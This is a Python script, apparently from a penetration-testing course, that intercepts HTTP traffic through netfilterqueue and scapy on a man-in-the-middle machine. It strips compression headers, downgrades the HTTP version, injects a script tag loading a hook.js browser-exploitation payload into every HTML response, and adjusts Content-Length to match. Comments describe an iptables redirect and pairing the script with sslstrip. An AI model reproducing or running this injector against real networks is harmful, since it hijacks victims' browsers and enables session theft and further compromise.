inject.py

import netfilterqueue
import scapy.all as scapy
import re

# if using sslstrip dport and sport will be set to 10000
# the iptables will be run as in my machine for input and output and not for forwarding
# also redirect the prerouting packets to sslstrip
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000


def setload(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        load = scapy_packet[scapy.Raw].load
        if scapy_packet[scapy.TCP].dport == 80:
            print("[+] Request")
            load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
            load = load.replace("HTTP/1.1", "HTTP/1.0")

        elif scapy_packet[scapy.TCP].sport == 80:
            print("[+] Response")
            injection_code = '<script src="http://127.0.0.1:3000/hook.js"></script>'

            load = scapy_packet[scapy.Raw].load.replace("</body>", injection_code + "</body>")
            content_length_search = re.search("(?:Content-Length:\\s)(\\d*)", load)
            if content_length_search and "text.html" in load:
                content_length = content_length_search.group(1)
                new_content_length = int(content_length) + len(injection_code)
                load = load.replace(content_length, str(new_content_length))

        if load != scapy_packet[scapy.Raw].load:
            new_packet = setload(scapy_packet, load)
            packet.set_payload(str(new_packet))

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()